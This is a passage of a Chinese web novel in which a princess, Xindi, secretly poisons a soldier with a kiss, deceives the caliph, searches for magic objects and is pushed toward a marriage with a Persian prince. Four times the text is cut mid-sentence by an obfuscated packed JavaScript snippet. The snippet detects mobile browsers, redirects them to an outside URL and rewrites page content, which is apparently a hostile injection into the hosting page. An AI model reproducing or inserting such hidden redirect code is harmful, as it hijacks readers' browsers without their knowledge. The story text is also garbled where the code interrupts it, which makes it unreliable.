哈立德又想吻上去了，此时腹中的轰鸣阻止了他的行动。 “该死······怎么在这个时候······”哈立德低声咒骂着，或许是晚上的鱼肉不太新鲜。他很想继续亲吻公主，可是剧痛的肚肠让他不得不暂时离开。 腹泻让哈立德的脑子都清醒了几分，肯定是晚餐的问题，他盘算着第二天要去找餐厅的老板算账。 好不容易解决了人生大事，哈立德踉踉跄跄地回到房间，此时时间已经不早了，大狗呜咽着提醒哈立德它要尽快把辛蒂亚公主送回去，否则有被人发现的风险。 哈立德不甘心极了，他甚至还没能摸摸她的脸蛋······ 今天这一系列事都在暗示哈立德，这并不是亲近公主的好时机，恐怕只要他再次靠近辛蒂亚公主，就又会发生什么意外。 理智让哈立德挥挥手，示意大狗驮着辛蒂亚公主离开。 可是在大狗跳出窗外的前一刻，月光下辛蒂亚公主神女一般仿佛在发光的睡颜瞬间占据了哈立德的全部心神。 他于是再次顺从了自己的内心，吻了上去。 辛蒂第二天早上醒来的时候，发现自己并未在某个旅馆的房间里，而是在自己舒适的大床上的时候，有一瞬间的失望。 按照她的预期，她应该一醒来就在那个士兵的房间里，找到打火匣后召唤出大狗，再命令大狗送自己回来。 辛蒂以为自己的计划失败了，不过在查阅记忆后，辛蒂意识到士兵确实亲吻了辛蒂亚公主嘴唇，之后大狗立马带着她回了铜宫。 所以士兵究竟有没有中毒而亡，这是一个未知数。不过辛蒂对于自己的毒药十分自信，她有百分之九十的把握。 还有百分之十的概率士兵立马发现了不对劲，在舔舐嘴唇之前就擦掉了毒药。 辛蒂拿出灵摆，用占卜的方式确认这件事。令人安心的，灵摆给出了肯定的答复。辛蒂的灵性中还出现了士兵倒地身亡的画面。 真是大快人心，辛蒂勾起冷笑，这一局和命运的博弈，终究还是她占了上风。 辛蒂尚未细细品尝胜利的滋味，意识到第一个出现在他的房间里的人可能会拥有打火匣。虽然打火匣其貌不扬，未必会立即被人拿走，其中的风险辛蒂不能忽视。 此时心急也无用，辛蒂按照自己之前计划的那样请女奴哈迪贾告诉她的母亲阿伊莎她做了一个奇怪的梦。 辛蒂亚公主向来是个乖巧的女儿，这样郑重一定是因为这个梦有什么不对劲的地方，阿伊莎和哈里发拉希德十分重视，匆匆赶到了铜宫。 辛蒂亚公主详细描述了她的梦境： “一只大狗将我从铜宫中带走，带到了城里的花园旅店的一个十分豪华的房间中。” “不， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810597|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不认识那个地方，只是门口的标识告诉我那是花园旅店。” “一个喝得醉醺醺的年轻男人出现在我的面前，在他的命令下，大狗腾地消失了，那一幕神奇极了。” “这个男人的衣着也十分华丽，他端详了我好一阵子，随即亲吻了我的嘴唇。” 说到这里，辛蒂亚公主咬着嘴唇，被陌生的男人亲吻，这无论如何都是一件会让王室公主感到羞耻的事。 阿伊莎再次给了辛蒂亚公主一个温暖的拥抱：“没事，我亲爱的公主，只是做梦而已，你仍旧洁净如初。” 话虽如此，阿伊莎和哈里发拉希德都认为不管是那些过分清楚的细节还是辛蒂亚公主本人过分真实的感受都说明这不仅仅只是一个梦而已。 毕竟城里真的有一个花园旅店。 阿伊莎留下来安抚受惊的辛蒂亚公主，哈里发拉希德则离开铜宫后找来他的宰相叶海亚，命令他立马去查所有花园旅店的住客。 这并不算是一个艰难的任务，花园旅店是城里最为奢华的旅店，住在里面的人非富即贵，大多都是有名有姓的大人物，调查工作进行得十分顺利。 哈里发拉希德很快就得到了一份详尽的调查报告，前士兵哈立德·伊本·塔里克立即吸引了他的注意。 一个莫名其妙变得富有的士兵，没有任何背景的平民的儿子。哈里发拉希德有种近乎直觉的预感，这个士兵就是仙女的预言中提到的，会成为辛蒂亚公主的丈夫的士兵。 这让哈里发拉希德立马振奋了精神，他进一步发出了命令，抓住哈立德·伊本·塔里克，带到他的面前来。 哈里发拉希德偏爱美丽的人，所以他的宰相叶海亚也是一位面如皓月，眉眼含神的美男子。此时他的命令让这位美男子面露难色： “尊贵的哈里发，我恐怕不能使您如愿，这个前士兵已经死了。他被人发现仰躺在房间中，面色青黑，推测是因为中毒而死。” 哈里发拉希德一震，他敏锐地察觉到了这件事里有许多不清不楚的地方，他于是让叶海亚仔细查查士兵的死因。 他虽然坚信这就是预言中的士兵，却不敢专断，又让人传信给之前做出预言的仙女，请她再次看看辛蒂亚公主命运的走向。 此时这些事都不是被困在铜宫中的辛蒂可以知道的。她体内的余毒已经发挥了作用，在强撑着描述完自己的梦境后就控制不住的晕了过去。 这吓坏了阿伊莎，她连忙请来铜宫专用的女医师。女医师诊断不出辛蒂亚公主昏迷的原因，只看出了她的身体虚弱。 这是辛蒂早有预料的，因为解药的原因，不管是谁都不可能诊断出她体内曾经存在过但是又被消解了的毒素。 她的昏迷完全是因为毒素对身体造成过的损伤。 阿伊莎却不知道，她认为这是女医师医术不精的缘故。她此时顾不上铜宫的禁令了，甚至越过了哈里发请国内最有名的男性医师进入了铜宫。 男性医师同样诊断不出具体的昏迷原因，不过他确实有两把刷子，一副药剂后辛蒂亚公主就成功地苏醒了过来。 39.传言 辛蒂感到前所未有的难受，动动手指头都有些费劲。辛蒂亚公主的身体素质尚可，却并没有辛蒂所以为的那么健康。 毒素给她造成的损害超过了预期，所幸不是不可逆的损伤，只要辛蒂好好休养一阵子，还是能回到之前的活蹦乱跳。 她发现了床边的陌生男性，从灰白色的长袍判断出这应该是一位男性医师，这很合理，却不应该出现在铜宫。她向阿伊莎投去疑惑的眼神。 阿伊莎解释道：“我的公主，阿卜杜拉医师是专门前来为你医治的，全靠他的药剂，你才能醒过来哩！” “你突然晕倒过去，可把我吓个半死。”阿伊莎不忘抱怨，那一幕直到现在她还心有余悸。 现在阿伊莎已经完全放心下来，医师说公主的身体很快就能恢复，晕倒的可能原因是受到了惊吓。 这倒是和辛蒂亚公主的梦境吻合，那样的遭遇，娇弱的公主受到些许惊吓也算正常。 辛蒂第一次发现阿伊莎是如此抓不住重点：“这经过哈里发的允许了吗？” “哦当然。”阿伊莎这才理解了辛蒂亚公主的顾虑，“请了医师后我立马告诉了他，哈伦允许了，他还说应该再多请几位医师来看呢。” 哈里发拉希德的态度如此宽容，甚至没有计较阿伊莎的僭越。看来就像辛蒂所预料的那般，他已经知道了那个士兵的事。 辛蒂还需要知道更多消息，她请求阿伊莎：“阿伊莎，可以请塔斯妮姆来陪伴我吗？” 确认公主没有大碍，阿伊莎正准备离开，现在还来得及去观看下午的马球赛。这点小小的请求她当然爽快答应了。 不留下陪伴当然不是因为她不关心辛蒂亚公主，铜宫实在是太沉闷了，公主也很沉闷，她向来不愿意在这里待太久。 塔斯妮姆因为得知了士兵的死讯，正准备去铜宫告诉辛蒂亚公主这个好消息。 在半路上得知了辛蒂亚公主生病，她又叫奴仆预备了许多补品一起带到了铜宫。 作为叶海亚的女儿，同时自己也布置了许多人手监视士兵的塔斯妮姆，对于哈里发拉希德的一系列命令十分清楚。 她告诉辛蒂亚公主如今整个花园旅店已经被封禁，士兵哈立德的尸体被叶海亚带走进一步研究死因。 辛蒂心中一紧，关于打火匣的询问几乎要脱口而出，旋即她又紧紧地闭上了嘴巴。 塔斯妮姆并不知道打火匣的存在，也不知道公主的梦境，辛蒂不敢让她知道。 她不知道原来故事中哈里发是如何忽略掉士兵的神奇之处，认为仅仅依靠凡间的武力就能制服他的。 她只知道辛蒂亚公主的父亲哈里发拉希德绝不是一个蠢蛋，辛蒂亚公主梦境中那只能神不知鬼不觉从铜宫把公主带走的大狗肯定在他的估量之中。 说不定现在哈里发拉希德的人正在士兵的房间中翻找可能的魔法物品。 塔斯妮姆派出的监视士兵的人目前还没被发现，可要是辛蒂让那些人试图去房间里翻找打火匣，先不说塔斯妮姆会不会碰巧知道打火匣的用处，要是被发现辛蒂亚公主在其中的作用，事情就不好收场了。 大人们可没有塔斯妮姆那么好糊弄，辛蒂希望的是打火匣能神不知鬼不觉的到她的手里，而不是让人发现辛蒂亚公主举止怪异。 在这样的情况下，辛蒂亚公主没有任何实权，也没有人手，几乎不可能不引人注目的获得打火匣。 辛蒂只好暂时放下自己对于打火匣的渴望，她安慰自己，要是哈里发拉希德始终发现不了打火匣的正确使用方法，她说不定还能在风头过去以后取得这件魔法物品。 当然辛蒂知道这样的可能性不大，除非她一开始就不告诉哈里发大狗的存在。 可是这样的谎言的隐患太大了，而且没有什么用处。要是她说梦里士兵是靠自己潜入铜宫甚至掳走公主，而士兵本人显然没有这样的能力，否则也不会是一个逃兵。 最后还是会被哈里发联想到魔法物品的存在，最终发现打火匣，进而发现公主在说谎。 辛蒂自知她不像是士兵有着命运的庇护，她的每一步都要走得小心翼翼，力求不被发现破绽。 最好能确保就算被发现，她也有一套能圆过去的话术。总之，一切求稳为上。 在得到士兵确实是中毒而死，而且死因很可能是嘴唇上那层沾到的有毒物质后，哈里发拉希德再次来到了铜宫。 辛蒂亚公主声称自己在梦里被士兵亲吻，现实中士兵因为嘴唇上的毒物身亡，这很难不让人产生联想。 可是十几年没有踏出过宫殿一步的公主制作了一种前所未有的毒药，杀死了士兵，最后自己全身而退，这样的联想实在是荒谬极了，最无厘头的小说家都写不出这样的情节。 所以这个想法在叶海亚宰相提出来后几乎立即就被哈里发拉希德推翻，他并不认为辛蒂亚公主有一丁点可能能做出这样的事，事实上他认为她或许都不知道什么是毒药。 哈里发拉希德到铜宫是为了获取辛蒂亚公主的梦境的更多细节，士兵的身份已经得到了仙女的确认，仙女还进一步肯定了梦境的真实发生。 不过即使是仙女，也不清楚士兵究竟是如何从铜宫带走公主的，也不知道杀害士兵的人是谁。 ······辛蒂亚公主又清清楚楚地讲述了她的梦境后，脸色变得有些难看。 女奴哈迪贾适时递上了温牛奶，显然反复回忆这样糟糕的梦对于公主来说是一个不小的负担。 辛蒂并没有更改任何细节，只是模糊了时间以及略去了第二晚发生的事，七分真三分假的叙事最能取信于人。 哈里发拉希德确实没有对辛蒂亚公主的讲述产生怀疑，但是上位者的习惯让他忍不住出言试探：“辛蒂亚，你梦里的那个士兵，他在对你做出这样的事之后的第二天就死了。” 出乎他的意料，眼前颇为柔弱的公主并未露出惊惧的神情，这让哈里发拉希德不禁追问：“你好像早就知道了这件事？” 辛蒂点点头：“是的父亲， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814518|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我请塔斯妮姆帮我调查了那位士兵。说实话，他的死讯让我感到痛快。” 辛蒂认为塔斯妮姆的小动作迟早会被大人们发现，左思右想后决定先把这事揭露出来，这并不算多出格的行为，最起码比被哈里发拉希德发现后产生不必要的怀疑要好。 哈里发拉希德果然没有追究这样的小事，辛蒂的坦然让他确信了士兵的死和她没有关系。 他彻底抛开了这件事，或许是士兵的仇家恰好找上门来，又或许是士兵吃错了东西。 哈里发拉希德不在乎，他很高兴可能会让他蒙羞的士兵死了，他的女儿摆脱了预言，这就足够了。而士兵的死，他会让这件事发挥出更大的价值。 在铜宫修养的辛蒂亚公主不久后就得到了哈里发拉希德宣布的铜宫的禁令解除的消息，这是意料之中的，与之同时的另一则传闻则让辛蒂瞠目结舌。 “你听说了吗？铜宫那位公主的预言被破解了！” “那个关于嫁给低贱的士兵的预言吗？快给我讲讲！” “城里之前不是突然出现了一个出手很阔绰的年轻人吗？在妓院一晚上能花几百金币的那位。” “这我知道，这和那个预言有什么关系？” “那个年轻人就是预言中的士兵！他通过某种邪恶的手段和魔鬼做出交易，获得了一大笔钱哩！” “不仅如此，他还请求魔鬼让他能和公主睡一觉，他就死而无憾了。” “真是该死的丘八，竟然敢觊觎公主！所以铜宫公主真的像传闻中那样美丽吗？” “······这不是重点！重点是魔鬼真的为士兵带来了公主，可是你猜怎么着？士兵只是吻了一下公主，就嘎巴一下死了。” “死了？为什么？” “公主是谁的女儿？哈里发的女儿啊！哈里发可是安拉的代言人，安拉能容许尊贵的哈里发的女儿遭到一个丘八的玷污吗？” “所以在安拉祂老人家的保护下，亵渎公主的人肯定只有死路一条啦。” “原来如此······” 八卦到最后，人们都对哈里发肃然起敬，原本民间许多诟病哈里发拉希德从兄长那里不正当取得王位的声音小了许多。 毕竟连哈里发拉希德的女儿都在安拉的庇护之中，哈里发作为安拉代言人的正统地位自然无需置疑。 塔斯妮姆一人分饰两角，对于民间传言模仿得惟妙惟肖，最后就连辛蒂几乎都要相信事情的经过就是人们讲述的这样。 安拉保护了哈里发的女儿，破除了那该死的预言。 结合辛蒂亚公主之前告诉她的关于安拉的启示，塔斯妮姆显然也对此深信不疑，辛蒂几乎无从解释。当然她也没必要解释，这样的流言对她来说有益无害。 受到安拉的保护呢，这样的噱头几乎可以让辛蒂亚公主的人生变得一帆风顺，王国中的青年才俊任她挑选。 更重要的是，这样的传言算是辛蒂的一重保障，她被指认为孤魂野鬼的可能性小了许多。 40.联姻 这个传言最大的获益者当然是哈里发拉希德，他的地位得到了有力的巩固，实际上辛蒂认为传言就出自他之手。 其次最高兴的就是阿伊莎，她生的公主好了，她也跟着沾光。 特别是她一直以来十分忧虑的辛蒂亚公主的婚姻大事也因此获得重大突破，最近请她喝茶的夫人们多了不少。 计划永远赶不上变化，之前阿伊莎在观察王国中和辛蒂亚公主匹配的青年人的时候，辛蒂还觉得她在做无用功。 如今这些资料，包括画像和家庭背景等的材料都摆在了辛蒂亚公主的房间里，所有人都在等待她会挑选出一个怎样的结婚对象，虽然辛蒂一次都没有看过那些资料。 在身体基本恢复，能够下床自由行走后。辛蒂亚公主忽然受到传召，请她去哈里发拉希德的住所，哈伊尔宫殿回话。 这没有任何事先的征兆，辛蒂一头雾水。她又思考了一遍，认为自己的行事没有漏洞，或许只是他的父亲想见她了。 对于身上繁重的首饰辛蒂感到不适应极了，她现在才知道在铜宫的时候面见阿伊莎和哈里发拉希德的时候她穿戴的那些已经是最基础的了。 现在她要去哈伊尔宫，哈迪贾等一众女奴几乎像不要钱一样在她身上堆叠各种闪闪发光的首饰。辛蒂走动的时候都觉得身上的首饰在叮叮哐哐响个不停。 在恢弘的宫殿中，哈里发拉希德接见了他的女儿辛蒂亚公主。他的身边还有几位大臣，此时向深宫的公主投来好奇的目光。 直到这个时候，仰视着高坐在王位之上的哈里发拉希德，辛蒂才对于这具身体的父亲是这个王朝的拥有者，有着至高无上的地位这一点有了深切的认知。 以往哈里发拉希德对着女儿总是温和的脸因为距离显得模糊不清，变成了一个威严的剪影，让仰视者很容易生出畏惧之心。 辛蒂没有因为外界的注视变得怯懦，不急不缓地完成了公主应该展现出的礼节，嗓音轻柔：“尊贵的哈里发，愿安拉赐予您长久的统治和健康。” 哈里发拉希德微微颔首后发问：“辛蒂亚，关于你的梦境，你可以仔细描述一下士兵的房间中的物品吗？” 辛蒂了然，这是冲着魔法物品打火匣来的。看来他们没有找到打火匣，至少没有还发现打火匣的作用。 辛蒂猜得没错，因为仙女的肯定，哈里发拉希德和他的大臣们格外在意那只将辛蒂亚公主从铜宫中带走的大狗。 有人认为不过是一只体型稍大的狗而已，不必太过在意。叶海亚宰相却不这么认为，按照士兵表现出的阔绰，大狗的作用肯定不止于此。 他收集了士兵花费出去的金银铜币，发现这些钱币的含金量都很高，绝非现有的技术能生产出来的。 叶海亚宰相断言，士兵说不定拥有金山、银山和铜山，而大狗就是打开宝库的钥匙。 叶海亚博览群书，还为哈里发拉希德讲述了一个关于魔法物品的故事。 在那个故事里，有着被敲击几下就会出现军队的背囊、吹响后可以使房屋和城堡坍塌的号角还有稍稍转动就能发射炮火的帽子。 这些魔法物品无一不是外观上破破烂烂，实际的效果却足以摧毁一个国家。 叶海亚宰相说服了哈里发拉希德，要是士兵的魔法物品能有这样的效果，他绝不能容忍这样拥有神奇效果的物品不在自己的手里。 可惜他们在一切房间中的士兵的遗物的搜寻无果，叶海亚宰相希望能亲自听一听辛蒂亚公主的讲述，或许能找到些许线索。 辛蒂说出了许多她印象中的物品，装饰着奏乐者图案的彩色陶盘、能够发出声响的机械小鸟、象牙雕刻的小人、放着沉香的金盏······ 这些贵族房间中的常见物品显然都不能使哈里发拉希德和叶海亚宰相满意，他们不断追问着还有没有别的物品，更为奇特别致的。 辛蒂低头遮住自己有些异样的神色，她思考片刻后答道：“梦境中的景象很模糊，不过我记得桌上有一个看起来脏兮兮的打火匣，我没见过那么朴素的打火匣，所以觉得很奇怪。” 这是真实的，即使辛蒂不特意关注那个打火匣，它的存在也十分引人注目。 时下的贵族的打火匣常常都是以黄金或者白银打造，上面还会铭刻着几何花纹。平民用不起那么好的材料，一般也是黄铜的材质，同样外饰花纹。 士兵的打火匣却是铁制的，几乎只有最为贫穷的乞丐才会使用，在装饰华美的房间里尤其格格不入。 宰相叶海亚皱着眉头追问：“打火匣？” 辛蒂点点头，语气很笃定：“是的，打火匣。原本我并不知道那个铁盒子是个打火匣，旁边的打火石和火绒让我确定了这一点。” 从他们的神态中，辛蒂意识到他们恐怕根本没在房间里找到打火匣，这真是出乎辛蒂的意料。 在得知打火匣的存在后，哈里发拉希德和宰相叶海亚都直觉地相信这就是他们要找的魔法物品，可是出于未知的原因，这件物品被人从他们的眼皮子底下带走了！ 接下来就没有辛蒂的事了，辛蒂亚公主看起来是那么天真懵懂，就算是心眼最多的宰相叶海亚也不认为她和这件事还有什么不为人知的关系。 她只是一个因为美貌被士兵盯上，不得不承受这一系列事件的小可怜而已。 辛蒂还有另外一件事，在大臣们离开后，她说出早就打好的腹稿： “父亲，我认为我暂时不适合结婚。在铜宫中我并未受到过恰当的教育，要成为合格的妻子甚至母亲，我想我还应该学习很多东西。” 这样的话她不好跟阿伊莎说，她可以预料听到这话的阿伊莎会瞬间化身成为尖叫鸡，会一直念叨她直到她妥协才肯罢休。 和阿伊莎相处得越久，她越能看出来，比起哈里发和辛蒂亚公主，阿伊莎最爱的还是她自己。 她不会为女儿试图反抗哈里发的决定， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821435|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛蒂亚公主找个身份匹配的丈夫对她而言才是最有利的，辛蒂亚公主的想法并没有那么重要。 这是哈里发拉希德第一次听到辛蒂亚公主对于他的安排提出不同意见，而且有理有据，在压力下也并未展现出任何的怯懦之色。 这让他对于辛蒂亚公主有了新的认知，同时想到她在铜宫中，足不出户多年，现在就让她进入婚姻确实太过于急切了。 哈里发拉希德作为父亲的部分显现了出来，他不会因为小女孩的一句话就改变自己的想法，不过他愿意多些宽容。 他的嗓音变得温柔：“你说得对，我的公主，作为哈里发的女儿，你确实还有很多的东西需要学习。” “不过这和结婚并不冲突，事实上我已经有了合适的人选，波斯帝国的大流士王子。” “三天后为你举办的宴会上，这位王子也会出席。在结婚之前，你有足够多的时间可以享受自由，以及与这位王子好好相处。” 波斯帝国提出希望联姻后，哈里发拉希德思考了很久究竟哪位公主比较合适。 祖拜达王后所出的法蒂玛跟她母亲一样性格张扬，并不适合成为应该安分守己的联姻王后，况且祖拜达并不希望自己的女儿远去波斯。 辛蒂亚的几个妹妹有的年纪还小，有的又身份不够，各个都有不合适的地方。 辛蒂亚倒是适龄，不过哈里发拉希德之前下意识忽略了她。 现在看来她正是最合适的人选，作为国内目前在民间最有名的公主，想来波斯帝国不会有什么不满意的地方。 辛蒂默然，她没想到她主动来找哈里发拉希德会得到一个这样的答复。 她看出了哈里发拉希德显然是刚刚才冒出了这样的想法，毕竟之前阿伊莎还在兴致勃勃地为她挑选丈夫。 辛蒂暂时还没有结婚的打算，甚至如果可以的话，她希望自己能找到一条无需婚姻的道路。 上一个世界的辛蒂需要婚姻来保全自己，这个世界她都是公主了，难道还不能脱离婚姻的禁锢吗？ 但是辛蒂并没有表现出自己的不情愿，对于辛蒂亚公主来说，这算得上是一桩很好的婚事了。 她于是柔顺应是，反正依照哈里发拉希德话里的意思，联姻还没有被确定下来，她有的是时间可以想办法。 回到铜宫后，辛蒂迫切地需要知道究竟是谁拿走了打火匣。 她告诉哈里发拉希德关于梦境的事后，他立即就派人去了士兵居住的地方，这中间的时间说多不多，说少不少。 要知道直到宰相叶海亚派人过去的时候，士兵的死才为人所知，旅店的老板表示这期间没有人进入过士兵的房间。 所以拿走打火匣的必然不是普通人，而是一个知道打火匣的作用，而且一直在暗中筹划着要得到打火匣的人。 辛蒂直接拿出灵摆，开始试图占卜究竟是谁拿走了打火匣。她的问题是“士兵哈立德的打火匣被偷走了吗？” 41.宴会 灵摆在原地纹丝不动，辛蒂的问题没有得到任何答复。辛蒂感到不妙，难道对方是个巫师？ 她刚刚冒出这个想法，就感受到一阵灵性层面的针扎一样的疼痛感——辛蒂的占卜被察觉了，她遭到了攻击。 好在这样的攻击更多的是警告，而非要致人于死地，辛蒂集中注意力抵御，疼痛逐渐消散。 目前来看，打火匣在一位十分强大的巫师的手里，得到打火匣的希望越来越渺茫了。辛蒂没有完全放弃，她转念一想，士兵手里的魔法物品可不止这一件。 原故事中，士兵在遇到女巫的时候，为了让士兵能安全取到打火匣，女巫给了士兵她的蓝格子围裙。 拥有蓝格子围裙的士兵果然没有遭到看守钱币的大狗们的攻击。 在辛蒂的记忆中，围裙并没有出现在士兵的房间里，那么有没有一种可能，蓝格子围裙不是被发现了特别的地方后拿走，而是被士兵遗失或者丢弃了呢？ 毕竟蓝格子围裙唯一的特殊之处就是能克制大狗，单独拿在手里完全看不出特异之处。 辛蒂决定针对不知所踪的蓝格子围裙展开占卜，但是这一次，她不敢再提出过于明显的问题，而是狡猾地从侧面开始寻找答案。 “能克制大狗的蓝格子围裙被士兵哈立德遗失了吗？”连续七遍的询问后，辛蒂得到了肯定的答案。 与此同时，辛蒂灵性提示的画面中浮现出士兵乱糟糟的房间，打扫卫生的仆妇念叨着“这不是我上次落在这里的围裙吗？”。 说话的时候，她把士兵随意挂在衣架上的蓝格子围裙自然而然地拿走了。 辛蒂松了口气，还好不用面对另外一位巫师。 当然蓝格子围裙也有可能已经被知情人从仆妇那里拿走了，辛蒂不打算再做进一步占卜了，有了线索，现在她完全可以从现实中找到答案。 辛蒂记得女奴哈迪贾似乎之前提到过她有一个亲戚在花园旅店做工，或许她能帮她打听到这个仆妇是谁。 面对主人的问题，哈迪贾只是略略思考就给出了回答：“您所描述的那个女人正是我弟弟的妻子，要是她有任何冒犯您的举动，我替她向您道歉。” 哈迪贾的语气有些许紧张，被贵族关注到的平民一般都不会有什么好事。 辛蒂高兴起来，她没有察觉到女奴的不安，直接向哈迪贾下达了命令：“我需要你帮我把她的一个蓝格子围裙给我弄来，你可以弄一个替代品什么的，总之不要让她察觉到这件事。” 哈迪贾一头雾水，不过这只是一件小得不能再小的事，她毫不犹豫地答应了。 “不要告诉任何人，包括阿伊莎。”辛蒂最后忍不住多嘱咐了一句，她知道就算她不说哈迪贾也会保守秘密的。 哈迪贾很清楚自己的主人是谁，在没有辛蒂的吩咐的情况下，也从不把她和塔斯妮姆的谈话透露一个字给阿伊莎。 弄得阿伊莎还会在辛蒂面前抱怨自己对于铜宫的事一无所知。所以辛蒂认为哈迪贾是完全可以信任的。 除非哈里发拉希德亲自向她询问辛蒂亚公主的事，不过辛蒂并不认为哈里发会有这样的闲情逸致。 哈迪贾不仅忠诚，而且办事牢靠。辛蒂中午吩咐了她这件事，傍晚时分她就把围裙给辛蒂送了过来。 她为了让事情更加隐秘，出铜宫的时候甚至都不说自己是在为公主办事，而是说自己回家探亲。 更重要的是，从辛蒂发出命令到她完成任务，哈迪贾没有多问一个字，尽显工具人本色。 这就是自己的人手的好处了，要是她请塔斯妮姆帮忙，肯定会被问许许多多的问题，想想就很烦恼。 这个蓝格子围裙是完完全全的其貌不扬，跟所有仆妇的围裙都没有太大的差别，怪不得会被旅馆的仆妇认为是自己的遗落的那一件。 辛蒂几乎都要以为这就是一件普通的围裙了，直到她开启灵视，看到了围裙上同于其他普通物品散发出的光彩后才能确认这就是魔法物品。 虽然原故事没有提到蓝格子围裙的其他作用，辛蒂还是尝试了许多方式，试图发掘围裙的魔法特性。 可惜一切迹象都告诉辛蒂，蓝格子围裙恐怕只有克制大狗这一个作用。 辛蒂把蓝格子围裙藏好，期待着有一天她能用上它。 三天时间一晃而过，哈里发拉希德说的宴会如期而至。 这是个专门为辛蒂亚公主举办的小型宴会，庆祝她重获新生，更重大的意义是让她和自己的兄弟姐妹们以及各种乱七八糟的族亲见面。 阿伊莎几乎费劲心思地在为这场宴会做准备，她请来宫中技艺最娴熟的织工以及最心灵手巧的刺绣师为辛蒂亚公主制作宴会礼服。 最终的成品确实让人惊艳，层层黑纱的长袍上以金线和银线绣满了繁复的藤蔓纹路和几何图案，袍身点缀着珍珠和红宝石，几乎是一件艺术品。 平心而论，这样的礼服不如辛蒂以前见过的各式各样的欧式长裙美丽，却给人以神秘和庄重之感，生不起亵渎之心。 长袍已然如此华美，辛蒂拒绝了阿伊莎试图给她戴上全套首饰的做法，只是挑选了其中最贵重的祖母绿吊坠以及红宝石手镯作为点缀。 装扮完成后果然首饰和长袍交相辉映，却不喧宾夺主，正好衬托出辛蒂亚公主的美貌。 阿伊莎是平民出身，偏好繁复的饰物，每次辛蒂见到她，她几乎身上的每一个身体部位上都有各式各样的首饰。 连带着铜宫中的女奴也有样学样地装扮公主。 辛蒂之前还以为这就是这里的风俗传统，直到认识了塔斯妮姆才知道即使是贵族，日常也会偏爱素净的打扮，很少有阿伊莎那样“全副武装”的。 也就是阿伊莎生得美艳，能压住珠宝的光辉，才不显得俗气。 所以这一次，辛蒂坚定地拒绝了阿伊莎。感受到身体的轻松，辛蒂悄悄松了口气，打定主意以后自己身上的饰物不能超过三件。 说是小型宴会，辛蒂却觉得人多得叫她头晕，整个大厅中恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826158|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有百来人，据说都是和王室沾亲带故的。 好在辛蒂需要记住的人不多，最起码哈里发拉希德的几个老婆和孩子她都记住了。 宴会的开始，所有人都需要拜见哈里发拉希德和他身边的祖拜达王后。 祖拜达王后很符合辛蒂的刻板印象，容貌平庸，端庄大方，看起来就像是那种会主动给丈夫找小老婆的妻子。 她确实这么做过，辛蒂亚公主的母亲阿伊莎原本就是祖拜达王后的侍女，祖拜达王后主动让阿伊莎侍奉了哈里发拉希德。 要不是塔斯妮姆告诉辛蒂，她完全看不出来。甚至辛蒂还觉得这两个女人之间的气氛有些僵硬，阿伊莎在和祖拜达王后对话时显得有些紧绷，按理说她们的关系不至于这么紧张。这其中肯定有些不为人知的故事。 向哈里发和王后行礼结束，哈里发颔首示意坐下后，众人才依次在长长的高台两边的红色丝绒软垫上按照地位高低依次落座。 哈里发左手边的第一个坐席自然属于王朝的王储，祖拜达王后的独子马蒙·伊本·拉希德。 马蒙是哈里发拉希德唯一的儿子，板上钉钉的王朝继承人，他有着和善的外表，和哈里发拉希德几乎是一个模子刻出来的。 哈里发右手边的坐席上则是波斯帝国的大流士王子，这位王子卖相极佳，深棕色的头发，古铜色的皮肤，一看就身材很好的样子。 按理说大流士王子不应该出现在这样的家族宴席上，哈里发拉希德认为和波斯帝国的联姻势在必行，只是区别于和哪个公主联姻而已，四舍五入也算自家人。 其他人的座次都在这四人之后，辛蒂亚公主却被格外安排在了大流士王子的身边，比王后的女儿还要靠前，吸引了不少探究的目光。 虽然辛蒂亚公主是名义上宴会的主角，她的座位也应该在高台的后半段，和众位公主坐在一起。 1 这一顿饭吃得辛蒂心力交瘁，她不仅要得体回应祖拜达王后暗含深意的问题，还要在哈里发拉希德的暗示下与大流士王子交谈，还要应付其他人的探究。 